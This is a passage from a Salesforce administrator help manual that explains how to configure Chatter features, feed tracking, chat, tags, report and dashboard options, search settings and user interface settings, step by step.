5. Optionally, populate the Manager user field for each user. This allows Chatter to include a person's manager and direct reports in their people recommendations. It also allows Chatter to recommend records that someone's manager and direct reports own or follow.

See Also:
Using Chatter Chatter FAQs

Turning On Chatter
Chatter provides feeds, groups, and profiles and lets people in your organization collaborate with each other. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions Salesforce CRM, Approvals, Chatter email notifications, Chatter Invitations, and customer invitations are not available in Database.com.

User Permissions Needed To enable Chatter: Customize Application

Chatter is enabled by default for organizations created after June 22, 2010. 1. 2. 3. 4. Click Your Name > Setup. Under App Setup, click Customize > Chatter > Settings. Under Chatter Settings, select Enable. Deselect to disable Chatter. Click Save..

Consider the following tips when enabling Chatter: Enabling Chatter also enables the new user interface theme, which updates the look and feel of Salesforce. Enabling Chatter also enables global search, which allows searching across Salesforce, including Chatter feeds, files, groups, and people. When Chatter is enabled for organizations with 15 or fewer users, all users automatically follow each other.

1649

Customize

Enabling Email Notifications and Replies

After enabling Chatter, you can also enable Chatter Mobile for supported mobile devices.

See Also:
Chatter Overview Setting Up Chatter Enabling Email Notifications and Replies Allowing Approvals in the Feed Allowing Content Previews in Link Posts Allowing Users to Invite Coworkers Allowing Users to Invite Customers

Enabling Email Notifications and Replies


When you turn on email notifications, users receive emails about new posts, comments, and other changes. The user can control the type and frequency of the emails. Email replies allow users to reply to messages or to comments directly from the email notification. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions Salesforce CRM, Approvals, Chatter email notifications, Chatter Invitations, and customer invitations are not available in Database.com.

User Permissions Needed To enable Chatter: Customize Application

You must enable Chatter before you can enable email notifications. 1. 2. 3. 4. Click Your Name > Setup. Under App Setup, click Customize > Chatter > Settings. Click Edit. Select Allow Emails to enable email notifications. Users can configure the type and frequency of email notifications they want to receive in their email settings. 5. Select Allow Email Replies to allow users to reply to email notifications about messages and comments via email instead of navigating to the comment or message in Chatter. 6. Click Save.

1650

Customize

Allowing Approvals in the Feed

Allowing Approvals in the Feed


When you allow approval requests, users can receive approval requests as posts and approve the requests directly in the feed. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions Salesforce CRM, Approvals, Chatter email notifications, Chatter Invitations, and customer invitations are not available in Database.com.

User Permissions Needed To enable Chatter: Customize Application

Approvals and Chatter must be enabled before you can allow approval requests. 1. 2. 3. 4. 5. Click Your Name > Setup. Under App Setup, click Customize > Chatter > Settings. Click Edit. Select Allow Approvals to allow approval requests in posts. Click Save.

Users can specify in their My Chatter Settings whether they want to receive approval requests as posts.

Allowing Content Previews in Link Posts


Posts that contain rich media links are converted into embedded videos, images, and rich article previews. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions Salesforce CRM, Approvals, Chatter email notifications, Chatter Invitations, and customer invitations are not available in Database.com.

User Permissions Needed To enable Chatter: Customize Application

You must enable Chatter before you can enable link previews. The rich media content is provided by Embed.ly, a third-party service. We dont share any content, user, organization, or account data with Embed.ly. We only share the URLs that are on the domain whitelist. Additionally all of our URL requests pass through a Salesforce proxy, meaning Embed.ly never receives calls directly from the client and therefore doesnt have information about who's making the URL request. 1. Click Your Name > Setup. 2. Under App Setup, click Customize > Chatter > Settings. 3. Click Edit.

1651

Customize

Allowing Users to Invite Coworkers

4. Select Allow Rich Link Previews. 5. Click Save. Post with links to rich media content are rendered as a preview, including thumbnails, descriptions and video players for video URLs. If a post doesnt render a link as a rich preview in the feed, the URL domain for that link either isnt supported or Embed.ly was unable to return the preview content for the URL. Rich media previews are enabled by default. If you disable rich media previews, users can only preview videos from the YouTube community.

Allowing Users to Invite Coworkers


Allow Salesforce.com users to invite coworkers without Salesforce.com licenses to Chatter. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions Salesforce CRM, Approvals, Chatter email notifications, Chatter Invitations, and customer invitations are not available in Database.com.

User Permissions Needed To enable Chatter: Customize Application

You must enable Chatter before you can enable invitations. Invited users can access Chatter people, profiles, groups, and files but cant see record data unless they have a Salesforce license. 1. 2. 3. 4. 5. Click Your Name > Setup. Under App Setup, click Customize > Chatter > Settings. Click Edit. Select Allow Coworker Invitations. Click Add more to add company email domains. You must provide at least one email domain. You can add up to 200 domains. The domains you enter should include those used in email addresses for your company. We recommend that you don't enter public email domains such as hotmail.com, yahoo.com, or gmail.com. If invited, anyone with an email address in these domains can join and see user profiles, feeds, and Chatter groups. Starting in June 2011, invitations are automatically turned on for new Salesforce organizations and the Company Email Domains field is populated based on the first user's email address. Invitations aren't turned on if the user's domain is a free email provider such as yahoo.com or gmail.com. 6. Click Save. If you deselect Allow Coworker Invitations, users can't accept outstanding invitations. Similarly, if you remove an email domain, users can't accept outstanding invitations from that domain.

1652

Customize

Allowing Users to Invite Customers

Allowing Users to Invite Customers


Allow users to invite customers to private groups that they own or manage. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions Salesforce CRM, Approvals, Chatter email notifications, Chatter Invitations, and customer invitations are not available in Database.com.

User Permissions Needed To enable Chatter: Customize Application

You must enable Chatter before you can enable customer invitations. Customers are users outside of your company's email domains. They have very limited Chatter access and can only see groups they're invited to and interact with members of those groups. 1. 2. 3. 4. 5. Click Your Name > Setup Under App Setup, click Customize > Chatter > Settings. Click Edit. Select Allow Customer Invitations. Click Save.

Turning off customer invitations won't delete existing customers or groups that allow customers.

See Also:
About Chatter Customers in Private Groups

1653

Customize

Feed Tracking

Feed Tracking
When you enable objects and fields for feed tracking, people see Chatter feed updates for objects and changes to fields on records they follow. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions The Account, Case, Contact, Lead, Opportunity and User objects are not available in Database.com.

User Permissions Needed To customize fields tracked in feeds: To view the field tracking setup page: Customize Application View Setup and Configuration

Feed tracking is available for objects and fields. You can configure feed tracking for users, Chatter groups, custom objects, and the following standard objects: accounts, article types, assets, campaigns, cases, contacts, contracts, dashboards, events, leads, opportunities, products, reports, solutions, and tasks. Sharing rules and field-level security determine visibility of record changes in Chatter feeds; you must be able to see a record in order to see changes to that record in feeds. Consider the following feed tracking tips: These objects and fields are tracked by default: Account: Account Name, Account Owner Case: Case Owner, Priority, Status Chatter Group: Allow Customers, Description, Group Access, Information Body, Information Title, Name, Owner Name Contact: Account Name, Contact Owner, Name Lead: Lead Owner, Lead Status, Name Opportunity: Amount, Close Date, Opportunity Name, Opportunity Owner, Stage User: About Me, Address, E-mail, Manager, Phone, Title If leads are tracked, but accounts, contacts, or opportunities are not, users won't be able to follow or see updates related to the accounts, contacts, and opportunities created during lead conversion. For person accounts, select the account fields you want to track. You can follow account fields, but not contact fields. For example, select the Email field on account to see a Chatter post any time someone changes the email on a person account. Feed tracking for events doesn't include requested meetings. Once a requested meeting is confirmed and becomes an event, then it can be included in feeds. While you can follow activities and knowledge articles in a Chatter feed, the activity and knowledge article list views is not available. Follow button in the Action column for

1654

Customize

Customizing Chatter Feed Tracking

Tracked feed updates that are older than 45 days and have no likes or comments are removed from the feed automatically. The tracked feed updates no longer appear in the feed, but the audit history for the tracked objects is still available.

See Also:
Turning On Chatter Feeds Using Chatter Feeds Customizing Chatter Feed Tracking

Customizing Chatter Feed Tracking


When an administrator enables feed tracking, users see updates for objects and records they follow in their Chatter feed. Many objects and fields are tracked by default, but administrators can further customize feed tracking to include or exclude specific objects and fields. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions The Account, Case, Contact, Lead, Opportunity and User objects are not available in Database.com.

User Permissions Needed To customize fields tracked in feeds: To view the field tracking setup page: Customize Application View Setup and Configuration

You can configure feed tracking for users, Chatter groups, custom objects, and the following standard objects: accounts, article types, assets, campaigns, cases, contacts, contracts, dashboards, events, leads, opportunities, products, reports, solutions, and tasks. The following standard field types can't be tracked: Auto-number, formula, and roll-up summary fields Encrypted and read-only system fields The Expected Revenue field on opportunities The Solution Title and Solution Details fields on solutions; these fields display only for translated solutions in organizations with multilingual solutions enabled

1. Click Your Name > Setup > Customize > Chatter > Feed Tracking. 2. Select an object. 3. Select Enable Feed Tracking. You must have the required user permissions to see this checkbox. To restore the default feed tracking settings for an object, click Restore Defaults. 4. Select up to 20 fields to track. You can't select fields for article types. 5. Click Save.

1655

Customize

Setting Up Chat

Setting Up Chat
Allow people in your organization to chat securely with people they follow in Chatter without using external chat clients. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Enable or disable chat for your organization. Enable chat for custom Visualforce pages.

See Also:
Turning On Chatter Using Chatter Messenger Enabling and Disabling Chat for Visualforce Pages

Enabling and Disabling Chat


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To enable Chat: Customize Application

Chat is enabled by default in organizations that have Chatter enabled. 1. 2. 3. 4. Click Your Name > Setup > Customize > Chatter > Chat Settings. Click Edit. Under Chat Settings, select or deselect Enable Chat. Chatter must be enabled to enable chat. Click Save.

See Also:
Setting Up Chat Turning On Chatter Using Chatter Messenger

1656

Customize

Enabling and Disabling Chat for Visualforce Pages

Enabling and Disabling Chat for Visualforce Pages


Add a chat widget to your custom Visualforce pages. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To enable chat for custom Visualforce pages Customize Application

1. Click Your Name > Setup > Customize > Chatter > Chat Settings. 2. Click Edit. 3. Under Visualforce Settings, select Allow. Deselect to disable chat for custom Visualforce pages. 4. Click Save. To prevent the chat widget from displaying on a specific Visualforce page, do any of the following: Turn off the Salesforce tab header on your page by setting <apex:page showHeader=false>. Set the page contentType to something other than text/html, for example, <apex:page contentType="text/plain">.

See Also:
Setting Up Chat Managing Custom Components

Customizing Chatter Influence


Customize Chatter activity thresholds to improve the Chatter influence calculation. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To customize Chatter influence: Customize Application

1. Click Your Name > Setup > Customize > Chatter > Influence. 2. Click Edit to change the minimum activity thresholds. All minimum activity thresholds default to zero. If you set non-zero thresholds, users who dont meet all three minimums are considered observers and arent counted when calculating peoples relative rank in the organization. Users who do meet

1657

Social Contacts

Enabling and Configuring Social Accounts and Contacts

all three minimums but have low activity numbers relative to active influencers and top influencers are also considered observers; however, they are counted when calculating influence. 3. Click Save. Chatter influence is recalculated when you save these values. Warning: Use caution when setting new thresholds because users influence levels can change immediately.

See Also:
Chatter Activity and Influence

SOCIAL CONTACTS
Enabling and Configuring Social Accounts and Contacts
Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions Contacts available in: All Editions except Database.com Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable, configure, or disable Social Accounts and Contacts: Customize Application

Enable Social Accounts and Contacts so your users can keep up to date on their accounts', contacts', and leads' social information without leaving Salesforce. You can also configure the social networks that are available for your organization, if needed. Note: The Social Accounts and Contacts feature is enabled by default for organizations created after the Spring 12 release. If your organization was created before that, you need to enable the feature yourself. You must use the new user interface on page 1667 for Social Accounts and Contacts to work. 1. 2. 3. 4. Click Your Name > Setup > Customize > Social Accounts and Contacts > Settings. Click Change your organization's Social Accounts and Contacts settings. Select Enable Social Accounts and Contacts. To disable Social Accounts and Contacts for everyone, deselect this checkbox. Select the social networks that your organization may use. Deselect any of the services that you want to turn off for your organization. By default, all social networks are turned on.

1658

Customize

Tags Settings

5. Click Save.

See Also:
Social Accounts, Contacts, and Leads Overview

Tags Settings
Tag settings available in: All Editions

User Permissions Needed To modify tag settings: Customize Application

Administrators set up and manage personal and public tags by: Enabling tags for accounts, activities, assets, campaigns, cases, contacts, contracts, dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship group members) Adding tags to the sidebar for their users Deleting personal tags for deactivated users

See Also:
Using the Tags Sidebar Component Tagging Records

Enabling Tags
Tag settings available in: All Editions

User Permissions Needed To modify tag settings: Customize Application

1. Click Your Name > Setup > Customize > Tags > Tag Settings. 2. Select Enable Personal Tags and Enable Public Tags to allow users to add personal and public tags to records. Deselect both options to disable tags. 3. Specify which objects and page layouts should display tags in a tag section at the top of record detail pages. The tag section is the only way that a user can add tags to a record.

1659

Customize

Tags Settings

For example, if you only select account page layouts, users in your organization can only tag account records. Additionally, if you only select account page layouts for personal tags and not public tags, users can only tag account records with personal tags. 4. Click Save. Use these tips when enabling tags. When you enable tags, you can also add them to a page layout by editing the page layout directly. See Customizing Page Layouts on page 1311. Search results and the Tags page don't display custom objects that don't have an associated tab, even if tags are enabled for the custom object. If you want custom object records to appear in search results or on the Tags page, you must create an associated tab. The tab doesn't have to be visible to users. Customer Portal users can't view the tags section of a page, even if it is included in a page layout.

See Also:
Tags Overview Adding Tags to the Sidebar Using the Tags Sidebar Component Tagging Records Deleting Personal Tags for Deactivated Users

Adding Tags to the Sidebar


Tag settings available in: All Editions

User Permissions Needed To modify tag settings: Customize Application

When you enable tags for your organization, you can add the Tags component to your users' sidebar. This component allows users to navigate to the Tags page where they can browse, search, and manage their tags. It also lists each user's most recently used tags. To add this component: 1. 2. 3. 4. Click Your Name > Setup > Customize > Home > Home Page Layouts. Next to a home page layout that you want to modify, click Edit. Select the Tags checkbox and click Next. Arrange the Tags component on your page layout as desired, and click Save.

1660

Customize

Tags Settings

Tip: If you want the Tags component to appear on all pages and not just the Home tab, click Your Name > Setup > Customize > User Interface, and select Show Custom Sidebar Components on All Pages.

See Also:
Using the Tags Sidebar Component

Deleting Personal Tags for Deactivated Users


Personal Tag Cleanup available in: All Editions

User Permissions Needed To delete personal tags for deactivated users: Customize Application

Your organization can have a maximum of 5,000,000 personal and public tags applied to records across all users. If your organization is approaching this limit, you can delete personal tags for deactivated users. 1. Click Your Name > Setup > Customize > Tags > Personal Tag Cleanup. 2. Select one or more deactivated users and click Delete. You can't restore personal tags after you delete them.

See Also:
Tags Limits Enabling Tags Using the Tags Sidebar Component Tagging Records

1661

Reports & Dashboards

Customizing Report and Dashboard Settings

REPORTS & DASHBOARDS


Customizing Report and Dashboard Settings
Available in: All Editions except Database.com

User Permissions Needed To modify report and dashboard settings: Customize Application

Administrators can set up and manage report and dashboard settings from the Reports & Dashboards page. To get to this page, click Your Name > Setup > Customize > Reports & Dashboards and click the following links to access report and dashboard settings: Customize report and dashboard user interface settingsControl features of the report and dashboard user interface, such as floating report headers, the auto-complete Dashboard Finder, and charting options. Customize report and dashboard email settingsControl the way email notifications are sent, including image handling in dashboard emails for Lotus Notes users and sending reports and dashboard refresh notifications to portal users. Customize report foldersClick this link to go to the last open report folder. From there, you can edit folder properties, such as name, access, and sharing.

See Also:
Customizing Report and Dashboard User Interface Settings Customizing Report and Dashboard Email Settings Enabling Mobile Dashboards for iPad Users

1662

Customize

Customizing Report and Dashboard User Interface Settings

Customizing Report and Dashboard User Interface Settings


Report and dashboard user interface settings that you can modify include floating report headers, the dashboard finder, the report timeout warning, and dashboard component snapshots. You can choose to enable or disable each of these for your organization.. Available in: All Editions except Database.com

User Permissions Needed To modify report and dashboard settings: Customize Application

1. Click Your Name > Setup > Customize > Reports & Dashboards > User Interface Settings. 2. Select or deselect options to modify the settings for your organization. Enable Floating Report Headers Floating report headers keep the column headings on tabular reports in sight no matter how far users scroll down report results. With floating report headers, users can scroll to the bottom of lengthy tabular reports without having to scroll back to the top to view the names of the column headings. Users can also click floating report headers to sort data in a specific column. When users sort data by clicking a floating report heading, the report refreshes and redirects users to the beginning of report results. Enable Dashboard Finder Dashboard finder uses auto-complete to help users quickly find dashboards in the Dashboards tab. This option is enabled by default. To find a dashboard on the Dashboards tab, start typing its name in the search filter, and all dashboards matching that text are dynamically displayed in the drop-down list. The list first shows dashboards the user viewed recently, and then other dashboards appear in alphabetical order by folder. The first 1000 results are shown in a single list; above 1000, results are shown 500 per page. Users only see dashboards in folders they can access. Disable this option to use the static drop-down list instead. Enable Report Timeout Warning The report timeout warning analyzes reports at runtime, identifies those that are highly complex and likely to time out, and displays a warning. This option is enabled by default. Users with permission to modify reports can edit the report to improve performance. Users can also run the report in spite of the warning. The report timeout warning only analyzes reports run manually from the Run Reports page. It doesnt analyze scheduled reports, reports run from dashboards, or reports run using background export. The report timeout warning might occasionally flag reports that dont time out. Additionally, the warning assumes that your organizations reports will time out after 10 minutes, which is the standard length of time reports can run before timing out. If your organization has extended the limit to 20 minutes, the reports might be less likely to time out. Keep in mind that, even if flagged reports run successfully, they remain highly complex, required extended run times, and could time out in the future. See Improving Report Performance.

1663

Customize

Upgrading Report Builder

Enable Dashboard Component Snapshots Dashboard component snapshots let users with access to dashboards post static images of dashboard components to Chatter user or group feeds, making the snapshot visible to all users. Chatter feed tracking for dashboards must first be enabled. Important: This option lets users override dashboard visibility settings, making snapshots visible to all Chatter users. Though this makes it easy to share time-specific data without having to add people to dashboard folders, be aware that users can inadvertently post sensitive or confidential information. 3. Click Save.

See Also:
Customizing Report and Dashboard Settings Enabling Mobile Dashboards for iPad Users

Upgrading Report Builder


Available in: All Editions except Database.com

User Permissions Needed To modify report and dashboard settings: Customize Application

We've released an updated version of report builder, the powerful drag-and-drop editor for reports. With this upgrade: All profiles get access to the report builder by default. (You may continue to see the Report Builder permission in permission sets and profiles and the PermissionSet and Profile objects in the API, though the upgrade overrides those settings.) The old report wizard will be available only to users in Accessibility Mode. Group and Professional Edition organizations can use report builder. You get scatter charts, a new chart type for reports.

Administrators for existing organizations must manually enable this upgrade. New organizations automatically get the latest version of report builder. If you don't see the Report Builder Upgrade section on the User Interface Settings page, the upgrade has already been enabled for your organization. Its important to understand that assigning the Report Builder permission to all users through profiles or permission sets isnt the same thing as enabling report builder for your entire organization. To do that, you need to follow the procedure in this topic. Important: Upgrading does not affect any of your existing reports. However, once you upgrade, you can't return to the old report wizard. To enable report builder for all users: 1. Click Your Name > Setup > Customize > Reports & Dashboards > User Interface Settings.

1664

Customize

Customizing Report and Dashboard Email Settings

2. Review the Report Builder Upgrade section of the page and click Enable. If you dont see the button, report builder has already been enabled for your entire organization. 3. Confirm your choice by clicking Yes, Enable Report Builder for All Users.

See Also:
Customizing Report and Dashboard User Interface Settings

Customizing Report and Dashboard Email Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify report and dashboard settings: Customize Application

To change your organization's report and dashboard email settings: 1. Click Your Name > Setup > Customize > Reports & Dashboards > Email Settings. 2. Select or deselect the following checkboxes to modify the settings for your organization: Use Images Compatible with Lotus Notes in Dashboard Emails Dashboard refresh notifications can be sent to specified users when a scheduled dashboard refresh completes. By default, Salesforce sends images in dashboard emails as .png (Portable Network Graphic) files, which are not supported in Lotus Notes. When you enable the Use Images Compatible with Lotus Notes in Dashboard Emails option, Salesforce uses .jpg images, which Lotus Notes supports, when sending dashboard emails. The Schedule Dashboard permission is required to view this option. Note: Dashboard emails that contain images compatible with Lotus Notes are substantially larger and the image quality may be lower.

Allow Reports and Dashboards to Be Sent to Portal Users This option, disabled by default, is available to Enterprise and Unlimited Edition organizations that have a Customer Portal or partner portal set up. Unless enabled, only internal Salesforce users can receive reports and dashboard refresh notifications. If you enable this option, all internal and portal users specified as recipients receive reports and dashboards. 3. Click Save.

See Also:
Customizing Report and Dashboard Settings Enabling Mobile Dashboards for iPad Users

1665

Customize

Customizing Search Settings

Customizing Search Settings


Available in: All Editions except Database.com

User Permissions Needed To modify search settings: Customize Application

To change your organization's search settings: 1. Click Your Name > Setup > Customize > Search > Search Settings. 2. Modify the search settings for your organization. 3. Click Save.

Search Settings
The search settings are: Enable Drop-Down List for Sidebar Search The drop-down list for sidebar search allows you to limit users' searches by object. When you select Enable Drop-Down List for Sidebar Search, a drop-down list appears in the Search section. From this list users can select to search within tags, within a specific object, or across all objects. Enable Limit to Items I Own Search Checkbox The Limit to Items I Own checkbox allows your users to include only records for which they are the record owner when entering search queries in the sidebar. Note: The Limit to Items I Own checkbox that appears in advanced search is always available to users, regardless of this setting.

Enable Document Content Search Enabling Document Content Search allows you to perform a full-text search of a document. When a new document is uploaded or an old one is replaced, its contents are available as search terms to retrieve the document. Enable Search Optimization if your Content is Mostly in Japanese, Chinese, or Korean Enabling this checkbox optimizes search for the Japanese, Chinese, and Korean languages. It affects sidebar search and the account search for Find Duplicates on a lead record in sidebar search and global search. Enable this option if users are searching mostly in Japanese, Chinese, or Korean, and if the text in searchable fields is mostly in those languages. Do not check this option if you expect content and searches to be mostly in other languages. Use Recently Viewed User Records for Blank and Auto-Complete Lookups If this setting is enabled, the list of records returned from a user auto-complete lookup and from a blank user lookup is taken from the user's recently viewed user records. This setting applies only to user object lookups and not to lookups for other objects. If this setting is not enabled, the dialog shows a list of recently accessed user records from across your organization.

1666

Customize

Customizing User Interface Settings

Enable English-Only Spell Correction for Knowledge Search (Beta) If this setting is enabled, search suggests and searches alternate spellings for English search terms on the Articles and Article Management tabs, in the articles tool in Case Feed, and in the Salesforce Knowledge sidebar in the Service Cloud console. This setting applies to article searches via the API but not to article searches in global search. Enable Sidebar Search Auto-Complete If this setting is enabled, when users start typing search terms, sidebar search displays a matching list of recently viewed records. Note: Global search includes auto-complete and doesn't require a search setting.

Enable Single-Search-Result Shortcut If this setting is enabled, users skip the search results page and go directly to the record's detail page when their search returns only a single item. This setting doesn't apply to tags, case comments (in advanced search), and global search. If the search result is a single tag, case comment, or item in global search, the search results page still appears. Number of Search Results Displayed Per Object The Number of Search Results Displayed Per Object area allows you to configure the number of items that are returned for each object in the Search Results page. The current setting is in parentheses next to each object. To make changes, select one or more objects, enter the new number of results per page, and click Save. The new value must be between 5 and 50. Lookup Settings The Lookup Settings area allows you to enable enhanced lookups and lookup auto-completion for account, contact, user, and any custom object lookups.

Customizing User Interface Settings


The available user interface settings vary according to which Salesforce Edition you have.

User Permissions Needed To modify user interface settings: Customize Application

To change your organization's user interface settings: 1. Click Your Name > Setup > Customize > User Interface. 2. Select or deselect each checkbox to modify the user interface settings for your organization. 3. Click Save.

User Interface Settings


Enable Collapsible Sections Collapsible sections give users the option to collapse or expand sections on their record detail pages using the arrow icon next to the section heading. When enabling collapsible sections, make sure your section headings are displayed for each

1667

Customize

Customizing User Interface Settings

page layout. Sections remain expanded or collapsed until the user changes his or her settings for that tab. If your organization has enabled record types, Salesforce remembers a different setting for each record type. Note: Call center users won't see incoming calls if they collapse the sidebar.

Show Quick Create The Quick Create area on a tab home page allows users to create a new record quickly with minimal information. It displays, by default, on the tab home pages for leads, accounts, contacts, forecasts, and opportunities. You can control whether the Quick Create area is displayed on all relevant tab home pages. Note: The Show Quick Create setting also affects whether or not users can create new records from within the lookup dialog. For example, with the setting enabled, users can create a new account within the account lookup dialog while creating or editing a contact. Creating new records in the lookup dialog is available only if Quick Create is available for your chosen record type. In addition, users always need the appropriate Create permission to use Quick Create even though it will be displayed for all users. Enable Hover Details Hover details display an interactive overlay containing detailed information about a record when users hover the mouse over a link to that record in the Recent Items list on the sidebar or in a lookup field on a record detail page. Users can quickly view information about a record before clicking View for the record's detail page or Edit for the edit page. The fields displayed in the hover details are determined by the record's mini page layout. The fields that display in document hover details are not customizable. This option is enabled by default. Note: To view the hover details for a record, users must have the appropriate sharing access to that record, as well as the necessary field-level security for the fields in the mini page layout.

Enable Related List Hover Links Related list hover links display at the top of record detail pages and custom object detail pages in Setup. Users can hover the mouse over a related list hover link to display the corresponding related list and its number of records in an interactive overlay that allows users to quickly view and manage the related list items. Users can also click a related list hover link to jump down to the content of the related list without having to scroll down the page. The Enable Related List Hover Links checkbox is the default selection. Enable Separate Loading of Related Lists Select this option to enable the separate loading of record detail pages: primary record details load first, followed by related list data. When you enable this option, users see primary record details immediately; as related list data loads, users see a progress indicator. Separate loading can improve performance on record detail pages for organizations with large numbers of related lists. This option is disabled by default. Note that this option does not apply to Visualforce pages, user pages, the self-service portal, or other pages for which you cannot control the layout. Enable Inline Editing Inline editing allows users to quickly change field values on a record's detail page, saving the user from having to access the record's edit page first. This option is enabled by default and applies to all users in your organization. Note: This doesn't enable inline editing for profiles. Select Enable Enhanced Profile List Views under Setup.

1668

Customize

Customizing User Interface Settings

Enable Enhanced Lists Enhanced lists give you the ability to quickly view, customize, and edit list data to speed up your daily productivity. When enabled with the Enable Inline Editing setting, users can also edit records directly from the list, without navigating away from the page. This option is enabled by default. Note: This doesn't enable enhanced lists for profiles. Select Enable Enhanced Profile List Views under Setup.

Enable New User Interface Theme Note: Starting with Summer '10, new organizations have the new user interface theme enabled by default.

The new user interface theme updates the look and feel of Salesforce and moves user links, such as Setup and Logout, under the user name for all users in your organization. The new user interface theme is not supported in Portals, Console tab, or Help & Training. Only users with supported browsers see the new user interface theme. Enable Tab Bar Organizer The Tab Bar Organizer automatically arranges tabs in the main tab bar to prevent horizontal scrolling of the page. It dynamically determines how many tabs can display based on the width of the browser window and puts tabs that extend beyond the browser's viewable area into a drop-down list. Note: Note the following limitations: The Tab Bar Organizer isnt available with the partner portal or Customer Portal. The Tab Bar Organizer is only available with the new user interface theme. Organizations using the old user interface theme can enable the feature, but it won't be available for users until the new theme is also enabled. The Tab Bar Organizer isnt available on Internet Explorer 6. See Supported Browsers.

Enable Printable List Views Printable list views allow users to easily print list views. If enabled, users can click the Printable View link from any list view to open a new browser window, displaying the current list view in a simple, print-ready format. The link is located next to the Help for this Page link in the colored title bar of the page. Enable Spell Checker Available in all Editions. If this option is selected, the Check Spelling button appears in certain areas of the application where text is entered, such as sending an email, or when creating events, tasks, cases, notes, and solutions. Clicking the button checks the spelling of your text. Spell Checker does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese. Enable Spell Checker on Tasks and Events Available in all Editions. Select this checkbox to enable the Check Spelling button when users create or edit tasks or events. The spell checker analyzes the Description field on events and the Comments field on tasks.

1669

Customize

Customizing User Interface Settings

Sidebar Settings
Enable Collapsible Sidebar The collapsible sidebar gives users the ability to show or hide the sidebar on every page that normally includes the sidebar. When you select the Enable Collapsible Sidebar setting, the collapsible sidebar becomes available to all users in your organization, but each user can choose his or her own preference for displaying the sidebar. Users can leave the sidebar visible at all times, or they can collapse the sidebar and only show it when needed by clicking the edge of the collapsed sidebar. For more information on using the collapsible sidebar, see About the Sidebar on page 60. Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times so you always have access to the Divisions drop-down list.

Show Custom Sidebar Components on All Pages If you have custom home page layouts that include components in the sidebar, this option makes the sidebar components available on all pages for all users in your organization. If you only want certain users to view sidebar components on all pages, grant those user the Show Custom Sidebar On All Pages permission. Note: If the Show Custom Sidebar Components on All Pages user interface setting is selected, the Show Custom Sidebar On All Pages permission is not available.

Calendar Settings
Enable Home Page Hover Links for Events Select this checkbox to enable hover links in the calendar section of the Home tab. On the Home tab, users can hover the mouse over the subject of an event to see the details of the event in an interactive overlay. This option is enabled by default. Note that this checkbox only controls the Home tab; hover links are always available on other calendar views. The fields available in the event detail and edit overlays are defined in a mini page layout. Note: If you create all day events, we recommend adding the All Day Event field to the events mini page layout.

Enable Drag-and-Drop Editing on Calendar Views Select this checkbox to enable the dragging of events on single user daily and weekly calendar views. This allows users to reschedule events without leaving the page. This option is enabled by default. Note the following: Calendar views might load less quickly when this checkbox is enabled. Drag-and-drop editing is not available for calendar views in the Console tab. Drag-and-drop editing is not available for multiday events.

Enable Click-and-Create Events on Calendar Views Select this checkbox to enable users to create events on day and weekly calendar views by double-clicking a specific time slot and entering the details of the event in an interactive overlay. The fields available in the event detail and edit overlays are defined in a mini page layout. Note that recurring events and multi-person events are not supported for click-and-create events on calendar views.

1670

Customize

Customizing User Interface Settings

Enable Drag-and-Drop Scheduling on List Views Select this checkbox to enable users to create events associated with records by dragging records from list views on to weekly calendar views and entering the details of the event in an interactive overlay. This option is disabled by default. The fields available in the event detail and edit overlays are defined in a mini page layout. Enable Hover Links for My Tasks List Select this checkbox to enable hover links for tasks in the My Tasks section of the Home tab and on the calendar day view. This option is enabled by default. Users can hover the mouse over the subject of a task to see the details of that task in an interactive overlay. The information presented on these overlays is configured by your administrator.

Setup Settings
Enable Enhanced Page Layout Editor Select this checkbox to activate the enhanced page layout editor for your organization. When enabled, the enhanced page layout editor replaces the current interface for editing page layouts with a feature-rich WYSIWYG editor that contains all of the functionality of the original page layout editor as well as several improvements. Enable Enhanced Profile List Views Select this checkbox to activate enhanced list views and inline editing on the profiles list page. With inline editing in enhanced profile list views, you can manage multiple profiles at once. Enable Enhanced Profile User Interface Select this checkbox to activate the enhanced profile user interface, which allows you to easily navigate, search, and modify settings for a single profile. Enable Streaming API Select this checkbox to activate Streaming API, which allows you to receive notifications for changes to data that match a SOQL query that you define, in a secure and scalable way. This field is selected by default. If you dont see this checkbox, first verify that your Salesforce edition has API access. For more information, see Force.com API Usage Limits on page 2267 and Salesforce Editions and Limits on page 2182. If your Salesforce edition has API access and you dont see the checkbox, contact salesforce.com. Enable Custom Object Truncate Select this checkbox to activate truncating custom objects, which permanently removes all of the records from a custom object while keeping the object and its metadata intact for future use.

Advanced Settings
Activate Extended Mail Merge Select this checkbox to activate Extended Mail Merge for your organization. When selected, the Mass Mail Merge link is available in the Tools area on the home pages for accounts, contacts, and leads. Also, single mail merges requested from the Activity History related list on a record are performed using Extended Mail Merge functionality. For more information on using Salesforce to generate personalized form letters and other documents based on templates, see Mail Merge Overview on page 2956. Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in this feature. Always save Extended Mail Merge documents to the Documents tab When this checkbox is selected, all mail merge documents generated using Extended Mail Merge are added to the user's personal documents folder on the Documents tab, rather than delivered as email attachments. Users are sent confirmation

1671

Custom Help

Custom Help Overview

emails when their mail merge requests have completed. Those emails include links for retrieving generated documents from the Documents tab. Note that these documents count against your organization's storage limits.

See Also:
Creating Records Using the Create New Drop-Down List

